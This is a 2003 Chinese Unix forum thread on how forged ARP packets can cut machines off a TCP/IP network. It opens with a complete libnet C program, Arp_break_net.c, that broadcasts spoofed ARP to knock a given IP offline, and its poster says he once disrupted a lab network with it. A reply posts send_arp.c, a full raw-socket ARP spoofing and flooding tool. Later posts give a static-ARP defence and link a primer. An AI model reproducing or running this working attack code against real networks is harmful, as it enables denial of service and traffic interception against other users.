标题: 动态ARP可导致整个TCP/IP网络中断
threehair
荣誉斑竹
Rank: 14Rank: 14Rank: 14Rank: 14


UID 27
精华 78
积分 3034
帖子 5716
活跃指数 0
LU金币 2093 个
LU金条 0 个
阅读权限 200
注册 2003-9-17
 
发表于 2003-11-17 08:36  资料  个人空间  短消息  加为好友 
转自安全焦点
动态ARP可导致整个TCP/IP网络中断
--------------------------------------------------------------------


CODE
/*  当年我就使用他作实验时把openlab给断了一会儿   hehe    不要扁我喔  */
/*
程序名:Arp_break_net.c
用途  :演示通过ARP数据包使网络中的某主机无法连接网络
       演示中192.168.0.1 将无法连接进入网络
编写  :cloud
时间  :2001-2-11
其他  :程序依赖LibNet
*/

#include<libnet.h>

u_char enet_src[6] = {0,0,0,0};  //源MAC地址  (伪造的一个不存在MAC地址)
u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
//目标MAC地址(广播地址)
u_char ip_src[4]   = {192,168,0,1};            
//源IP地址  (被踢出网络的IP地址)
u_char ip_dst[4]   = {192,168,0,255};          
//目标IP地址 (随便一个IP地址)

int main(int argc, char *argv[])
{
   int  c;
   char errbuf[256];
   char *device = "eth0";            //数据包从第一个网卡发送出去
   struct libnet_link_int *l;


   l = libnet_open_link_interface(device, errbuf);   //打开设备
   if (!l)
   {
       fprintf(stderr, "libnet_open_link_interface: %sn", errbuf);
       exit(EXIT_FAILURE);
   }
   c = send_arp(l, device);                         //发送ARP数据包

   return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
}


int send_arp(struct link_int *l, u_char *device)
{
   int n;
   u_char *buf;

   if (libnet_init_packet(ARP_H + ETH_H, &buf) == -1)
   {
       perror("libnet_init_packet memory:");
       exit(EXIT_FAILURE);
   }

   /*
    * 构造以太数据包头部信息
    */
   libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf);

   /*
    *  构造ARP数据包头部信息
    */
   libnet_build_arp(ARPHRD_ETHER,
       ETHERTYPE_IP,
       6,
       4,
       ARPOP_REQUEST,
       enet_src,
       ip_src,
       enet_dst,
       ip_dst,
       NULL,
       0,
       buf + ETH_H);

   n = libnet_write_link_layer(l, device, buf, ARP_H + ETH_H);  //发送数据包

   printf("Wrote %d byte ARP packet through linktype %dn", n, l->linktype);

   libnet_destroy_packet(&buf);
   return (n);
}





╭⌒╮ ╭⌒╮╭⌒╮
╱◥███◣╭╭ ⌒╮
︱田︱田   田|
关门,上锁,钥匙已生锈。
世事静方见,人情淡始长!
顶部
soccer_hou007
LU天使
Rank: 4



UID 35
精华 13
积分 852
帖子 1646
活跃指数 5
LU金币 37 个
LU金条 648 个
阅读权限 80
注册 2003-9-18
 
发表于 2003-11-17 09:31  资料  个人空间  短消息  加为好友 
怎么会中断呢? ohmy.gif





英勇的志愿军,可能在后人看来不可思议。中国从其胜利中一跃成为一个不再被人轻视的世界大国,如果中国人没有于1950年在清长战场稳执牛耳,此后的世界历史进程就一定不一样--牛津大学罗伯特·奥内尔着《清长之战》
顶部
i2era
LU幼天使
Rank: 2



UID 221
精华 2
积分 193
帖子 372
活跃指数 4
LU金币 1024 个
LU金条 1000 个
阅读权限 20
注册 2003-9-29
 
发表于 2003-11-17 12:54  资料  个人空间  短消息  加为好友 
ethernet在二层上毫无安全性可言
arp永远是它的软肋

PS:win32(98/me/2K/XP)在收到大量arp包时会停止响应,重起后不能进入系统(如果发送方仍未停止)

send_arp.c,一个很老的程序了,我还曾经想把它移植到*BSD上,不过功力不够 blush.gif
QUOTE
/*
This program sends out one ARP packet with source/target IP
and Ethernet hardware addresses suuplied by the user. It 
compiles and works on Linux and will probably work on any 
Unix that has SOCK_PACKET. volobuev@t1.chem.umn.edu 
*/ 
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <signal.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <string.h>
#include <arpa/inet.h>
#include <netinet/ip_icmp.h>
#include <linux/if_ether.h>
#define ETH_HW_ADDR_LEN 6 
#define IP_ADDR_LEN 4 
#define ARP_FRAME_TYPE 0x0806 
#define ETHER_HW_TYPE 1 
#define IP_PROTO_TYPE 0x0800 
#define OP_ARP_REQUEST 2 
#define OP_ARP_QUEST 1
#define DEFAULT_DEVICE "eth0" 
char usage[] = {"send_arp: sends out custom ARP packet. yuri volobuev
   usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"}; 
struct arp_packet 

u_char targ_hw_addr[ETH_HW_ADDR_LEN]; 
u_char src_hw_addr[ETH_HW_ADDR_LEN]; 
u_short frame_type; 
u_short hw_type; 
u_short prot_type; 
u_char hw_addr_size; 
u_char prot_addr_size; 
u_short op; 
u_char sndr_hw_addr[ETH_HW_ADDR_LEN]; 
u_char sndr_ip_addr[IP_ADDR_LEN]; 
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN]; 
u_char rcpt_ip_addr[IP_ADDR_LEN]; 
u_char padding[18]; 
}; 
void die (char *); 
void get_ip_addr (struct in_addr *, char *); 
void get_hw_addr (char *, char *); 
int main (int argc, char * argv[]) 

struct in_addr src_in_addr, targ_in_addr; 
struct arp_packet pkt; 
struct sockaddr sa; 
int sock; 
int j,number;
if (argc != 6) 
die(usage); 
sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP)); 
if (sock < 0) 

perror("socket"); 
exit(1); 

number=atoi(argv[5]);
pkt.frame_type = htons(ARP_FRAME_TYPE); 
pkt.hw_type = htons(ETHER_HW_TYPE); 
pkt.prot_type = htons(IP_PROTO_TYPE); 
pkt.hw_addr_size = ETH_HW_ADDR_LEN; 
pkt.prot_addr_size = IP_ADDR_LEN; 
pkt.op = htons(OP_ARP_QUEST); 
get_hw_addr(pkt.targ_hw_addr, argv[4]); 
get_hw_addr(pkt.rcpt_hw_addr, argv[4]); 
get_hw_addr(pkt.src_hw_addr, argv[2]); 
get_hw_addr(pkt.sndr_hw_addr, argv[2]); 
get_ip_addr(&src_in_addr, argv[1]); 
get_ip_addr(&targ_in_addr, argv[3]); 
memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN); 
memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN); 
bzero(pkt.padding,18); 
strcpy(sa.sa_data,DEFAULT_DEVICE); 
for (j=0;j<number;j++)
{
if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0) 

perror("sendto"); 
exit(1); 
}  
}
exit(0); 

void die (char *str) 

fprintf(stderr,"%s\n",str); 
exit(1); 

void get_ip_addr (struct in_addr *in_addr, char *str) 

struct hostent *hostp; 
in_addr->s_addr = inet_addr(str); 
if(in_addr->s_addr == -1)

if ((hostp = gethostbyname(str))) 
bcopy(hostp->h_addr, in_addr, hostp->h_length); 
else { 
fprintf(stderr, "send_arp: unknown host %s\n", str); 
exit(1); 
     } 


void get_hw_addr (char *buf, char *str) 

int i; 
char c, val; 
for(i = 0; i < ETH_HW_ADDR_LEN; i++) 

if (!(c = tolower(*str++))) 
die("Invalid hardware address"); 
if (isdigit©) 
val = c - '0'; 
else if (c >= 'a' && c <= 'f') 
val = c-'a'+10; 
     else 
die("Invalid hardware address"); 
*buf = val << 4; 
if (!(c = tolower(*str++))) 
die("Invalid hardware address"); 
if (isdigit©) 
val = c - '0'; 
else if (c >= 'a' && c <= 'f') 
val = c-'a'+10; 
     else 
die("Invalid hardware address"); 
*buf++ |= val; 
if (*str == ':') 
str++; 

}






none
顶部
i2era
LU幼天使
Rank: 2



UID 221
精华 2
积分 193
帖子 372
活跃指数 4
LU金币 1024 个
LU金条 1000 个
阅读权限 20
注册 2003-9-29
 
发表于 2003-11-17 13:05  资料  个人空间  短消息  加为好友 
由此我使用了一种很简单的控制手段(layer2):
在server上:
ifconfig interface down
ifconfig interface -arp //Disable the use of the Address Resolution Protocol.
ifconfig interface up

add client ip and mac to file(ip.mac.list)
arp -f ip.mac.list

在client上:
arp -s SERVER.ip SERVER.ether_addr

这样只有那些在ip.mac.list里的client才能与server通信(双向交流)





none
顶部
rhinofly
LU幼天使
Rank: 2
-RhinoFly-



LU爱心使者  
UID 275
精华 2
积分 142
帖子 276
活跃指数 0
LU金币 2007 个
LU金条 0 个
阅读权限 20
注册 2003-10-2
来自 -
 
发表于 2003-11-18 10:02  资料  个人空间  主页 短消息  加为好友 
QUOTE(i2era @ 2003-11-17 13:05:24)
由此我使用了一种很简单的控制手段(layer2):
在server上:
ifconfig interface down
ifconfig interface -arp  //Disable the use of the Address Resolution Protocol.
ifconfig interface up

add client ip and mac to file(ip.mac.list)
arp -f ip.mac.list

在client上:
arp -s SERVER.ip SERVER.ether_addr

这样只有那些在ip.mac.list里的client才能与server通信(双向交流)

是个办法。。。。。。。。如果由200台机器,不要累死啊?





阿土的阿,阿土的土.
-
蜗牛阿土
-
顶部
i2era
LU幼天使
Rank: 2



UID 221
精华 2
积分 193
帖子 372
活跃指数 4
LU金币 1024 个
LU金条 1000 个
阅读权限 20
注册 2003-9-29
 
发表于 2003-11-18 13:36  资料  个人空间  短消息  加为好友 
200个ip还勉强凑合,要是有2的N次方个就只能 shut.gif
所以说是一种很简单的控制手段 ninja.gif





none
顶部
[广告] 记录自己的思想火花,留住每日的技术积累,尽在拥有属于自己独立域名的博客。
波波蛋儿
LU幼天使
Rank: 2
波波级



UID 879
精华 3
积分 57
帖子 101
活跃指数 0
LU金币 2006 个
LU金条 0 个
阅读权限 20
注册 2003-10-22
 
发表于 2003-11-18 22:27  资料  个人空间  主页 短消息  加为好友  添加 波波蛋儿 为MSN好友 通过MSN和 波波蛋儿 交谈
我写了一篇ARP协议的入门文章
希望初学者读了,对理解上面的文章有帮助

http://www.ossh.org/Frame/index.asp?/os/learn/arpp.html





一个好的网络工程师
首先
必须是一个程序员
欢迎光临我的网站 www.ossh.org
顶部
[广告] 记录自己的思想火花,留住每日的技术积累,尽在拥有属于自己独立域名的博客。
fire9
LU幼天使
Rank: 2



UID 286
精华 0
积分 47
帖子 93
活跃指数 0
LU金币 2008 个
LU金条 0 个
阅读权限 20
注册 2003-10-3
 
发表于 2004-2-27 15:17  资料  个人空间  短消息  加为好友 
很好的网站,我支持!可是我不会编程.

顶部
[广告] 记录自己的思想火花,留住每日的技术积累,尽在拥有属于自己独立域名的博客。
阿土 (土人)
版主
Rank: 15Rank: 15Rank: 15Rank: 15Rank: 15


LU爱心使者  
UID 6700
精华 6
积分 1480
帖子 2776
活跃指数 46
LU金币 495 个
LU金条 371 个
阅读权限 210
注册 2003-12-22
 
发表于 2004-6-2 02:58  资料  个人空间  主页 短消息  加为好友  添加 阿土 为MSN好友 通过MSN和 阿土 交谈 QQ Yahoo!
顶出来。





顶部
[广告] 记录自己的思想火花,留住每日的技术积累,尽在拥有属于自己独立域名的博客。
 



当前时区 GMT+8, 现在时间是 2008-11-24 03:03
乐悠LoveUnix论坛-京ICP备05005823号

Thanks to Discuz!  © 2001-2007    Power by LoveUnix.net
Processed in 0.199584 second(s), 6 queries , Gzip enabled

清除 Cookies - 联系我们 - 乐悠LoveUnix - Archiver